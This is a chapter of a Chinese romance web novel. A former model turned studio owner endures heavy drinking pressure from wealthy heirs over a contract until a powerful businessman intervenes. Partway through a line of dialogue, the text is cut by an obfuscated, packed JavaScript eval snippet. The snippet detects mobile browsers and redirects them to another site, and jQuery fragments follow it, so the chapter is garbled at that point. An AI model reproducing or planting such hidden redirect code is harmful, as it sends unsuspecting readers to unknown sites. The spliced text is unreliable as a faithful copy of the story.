10. 烧心

作品:《野樱桃

    电梯上行84层,整座杭城被踩在脚下,灯红酒绿不在街角巷落,就在楼顶天上人间。


    班澜到前台加了几瓶酒,就手让人把账单拿来。


    还算收敛。


    她和孙宥从不搞这套,他喜静,约的地方多是喝茶看戏之地。


    出去这节骨眼,碰上贝瑞思内部结构变动,活生生折腾出这么多事。


    电梯里孙宥回消息,他被支到巴黎赶一批高定,半条命快给折腾没了。


    想必这阵子也并不愉快。


    这事只能她自己解决。


    金色链条围绕顶部星星点点暗黄光晕,包间尽享一整面霓虹夜景。


    浅灰色丝绒沙发和对面黑色皮质卡座相对而立,三三两两坐满人。包间里不禁烟,弥漫着威士忌雪莉桶香气和烟草味,还没喝就富贵迷人眼。


    见来人,正聊天几位回头,侧身从卡座人腿边挪出来。


    “小林妹妹,来来来。”


    起头儿男人走近,对上班澜目光,两人都不避着,上下打量一番。


    班澜就着闪烁光影认了个全乎。


    都是省里民营经济领头企业,第二产业的几个接班人。老企业转型热,老子没退,儿子都爱在外面折腾新思路,孙宥势头好,被他们瞧上不意外。


    班澜暗自叫好,要不是接触的早,怕后面想要再和他合作就难上加难了。


    “这位是班总吧,哎呀这么多天了也不给哥哥们面子。”


    班澜向来不喜欢跟这些贵公子哥打交道。


    她学历一般,模特出身,但凡往他们身边一站。


    哪怕是吐口痰,都有人说她在勾引男人。


    款款微笑,嘴里说这不是一回来就赶紧给大家赔不是了。


    班澜招呼大家坐下,脱了外套递给林兜兜。


    林兜兜接过,梗着脖子问她这么拼吗?


    班澜一身荔肉白丝绸裙,长度及膝,一字肩露出锁骨明媚线条。


    悄然坐下,随手一抚长发,包间都安静不少……


    这帮人,都晓得工作室老板娘以前是模特出身,不把她逼得现身,怎可善罢甘休。


    “你不能喝酒,我想少喝酒,不得想办法吸引吸引火力?”


    班澜竖起修长手指捂住嘴跟林兜兜口语。


    眉目间游刃有余,心里慌得很,她没想到包间里零零散散七八个人。


    早知道多喊几个一起来了。


    球冰撞击玻璃杯,琥珀色液体贴着冰球像下流。


    大理石桌面瞬间染上水珠。


    班澜始终保持微笑。


    看着男人手中瓶嘴没有停下意思。


    这么纯,今晚她也得去挂水。


    班澜酒量算是不错,她前后做过几个销售公司才辗转被模特经纪挖到。


    巅峰战绩是红酒两瓶喝完立马去洗手间抠了,回去再混半斤白酒。


    这个量还能勉强踩着小细跟去结账。


    最后不忘要个发票,那时候的她一分钱也垫不起。


    这几年自己单干以后,刻意减少应酬,她也不知道现在的量能到哪儿。


    一杯下肚,只觉烧得慌。


    素闻这片从商的老一辈喜抱团,做事肯苦能拼,这几位倒是继承了七八分,在劝酒上你一言我一语,灌着班澜,自己也不含糊,没少喝一口。


    斑斓苦笑,公子哥酒品倒还可以。


    要不是她一个人对着这么多,也不算欺负人。


    怕就怕不躲酒的,她退一步,显得矫情。


    肩头已经泛红,林兜兜要拿酒杯被斑斓按住。


    她摇头,这会再折进来,不划算。


    喝倒她一个,好赖还能让林兜兜保她全身而退。


    上医院挂水去。


    小姑娘眼底涨得通红,心疼。


    班澜笑得洒脱,她只怨自己回来迟了,前几天让林兜兜一个人面对一票大老爷儿们。


    想想就憋屈。


    池一洋从洗手间出来,吩咐吴忧把里面躺着的挨个儿安排送回去。


    “池总,陆总还是联系不上。”


    池一洋停了陆嘉文的项目,池家老爷子池承良直接杀到集团总部。


    在办公室摔了拐杖,池一洋父亲池恩行连夜把他喊回来收拾残局。


    他知道老一辈珍惜革命友谊,当年也是念着陆家雪中送炭的情分,对外说两家同进退。


    但是早在池恩行那辈,两家的经营理念已经出现了莫大分歧。


    现在的一洋嘉文,明面上是平分秋色,其实大部分股份都掌握在池家人手上。


    陆嘉文早些年一直在国外,从不过度干涉内部事项,反倒是近一年动作频繁,礼数之内,权谋上下,池一洋若不是看老爷子面子,他的性子早该叫板了。


    陆嘉文全程没出面,撂下手头项目,撒手消失。


    但是该说的,不该说的,一句没落进了池家人耳朵。


    池一洋脸色不好看,这些天他给磨得够呛。


    “没事儿,他手底下那几个废物,我一天开一个,等他回来,兜儿比脸还干净。”


    吴忧提醒他老爷子可能要打他八十大板。


    他勾勾嘴角,声音低的吴忧不自觉低头:“风声都跑光了,我还要你干吗?”


    没有商量的余地。


    说完把纸巾扔了,抬脚向外迈。


    “班澜赢!严总您可又输了,倒上倒上。”


    ……


    服务生拎着冰桶进去,虚掩门缝里班澜侧身坐在沙发,单手托着下巴,手指柔柔划过下颌弧线,双腿缠绕在裙摆之下,脚背不自觉绷直勾着一双银灰高跟鞋。


    饶有兴致地看着对面男人饮下半杯。


    “什么情况?”


    池一洋的质问让他心惊肉跳。


    “看起来班澜小姐正在与一群友人聚会,她连赢了两把......哦,这把输了。”


    班澜捏起酒杯,叹了口气,仰头瞬间脖子弧线耀眼。


    在座男人的目光落在她身上……


    池一洋一步已经跨进包间。


    喧闹终止,正在倒酒的男人把瓶子一撂,小跑迎上来。


    “池哥,你怎么来了?”


    陷在沙发里几位爷通通起身,池一洋眉梢喜怒不定,微微颔首,回正好在隔壁包间,听见动静进来打个招呼。


    “那好啊,来,给池哥倒酒。”


    池一洋卷起黑色衬衣袖口,领口敞开,休闲裤高帮靴,没应声,饶有兴致盯着班澜。


    喝得多了,班澜看人有重影。


    费劲定格两秒,才确定她不是在做梦。


    周为书堪堪愣在那儿,见池一洋半天不动,和班澜对视。


    “这位


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14801589|158427||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是我们哥几个刚投的一个设计师,孙宥设计的独家代理,以前也是......”


    池一洋掏出烟盒,取一根。


    她轻笑接过,夹在指尖。


    池一洋俯身于方桌之上,旋转打火机。班澜凑上火光,嘴唇覆在白色烟尾,牙齿轻咬爆珠。薄荷味混合酒精,烟雾缭绕。


    卧槽,池总给女人点烟。


    头一遭。


    “喝不少?”


    池一洋走近,自顾自坐下。


    拿起班澜前面酒杯,抿了一口。


    眉头微蹙。


    “周为书,把杯子都拿来。”


    池一洋笑着喊几个公子哥,嘴角带笑,语气平和。


    空气中氛围透着诡异,池一洋拎起玻璃杯,随手就把里面冰块加酒全倒进垃圾桶。


    拿起酒瓶,看都不看往里灌。


    烈性气息扑面而来。


    液体与杯口齐平还不够,渗到桌面,噼里啪啦落在瓷砖上……


    池一洋抱臂后仰,右手一抬。


    一排杯子等在那里。


    包间歌曲骤然停下,池一洋脸色阴晴不定,没人敢忤了他的意。


    几人辣得烧心,全然没了刚才做派。


    林兜兜靠在角落,一脸懵。


    班澜姐还认识这么号人物,看着在座都怕得要死。


    什么情况?


    思考几秒,伸手在包里掏出一沓文件。


    她带了三天,现在不就是最佳时机。


    “那个,各位老板,看大家都挺尽兴啊,咱们要不就趁现在,把合同过过?”


    吴忧闻声抬头,向眼前女生竖起大拇指。


    班澜确实神人,这带的人也是相当不一般了。


    池一洋扫了眼,顺着合同又望向周为书。


    “周总现在能摆谱啊,就这么个鸡毛蒜皮的合同,还得跟你喝个通宵。我跟你老子签合同,都不要半盏茶。”池一洋说完看着班澜:“要不算了,我把施得送你吧,这么个小物件,也不值当在这耗着。”


    班澜一度以为自己幻听了,他要把什么送了?


    一洋嘉文旗下施得?


    这男人八成也是喝多了,胡言乱语。


    她也配合,随口就说好。


    配上一脸纯情笑容。


    ==


    林兜兜发消息说合同搞定,班澜合上手机,窝在车里。


    今天的单也没要她们买,怒省十几万。


    头重,想吹会风。


    窗户漏一条缝,她望着外面。


    杭城的夜很静,静到没人知道街上醉酒的人身处哪种名利场,没人在乎为了那点儿成功要付出多大代价。


    尤其是女人,更是不易。


    如果今天池一洋不来,她也能拿下这个合同。


    只是付出的代价更大一些。


    她本是不愿依附谁的倔脾气,也在关键时候坦然接受了趋利避害的惰性。


    人,惯是如此利己。


    想到这儿,她又有些不痛快,更何况对象还是池一洋。


    她曾经万般不想再有任何牵扯的男人。


    凉风冲击脑仁,她捂住飘散的耳边发。


    身旁男人始终阖眼休息,不曾与她说一句话。


    却在这时伸手捂住她受风额头。


    “班班,跟我回家。”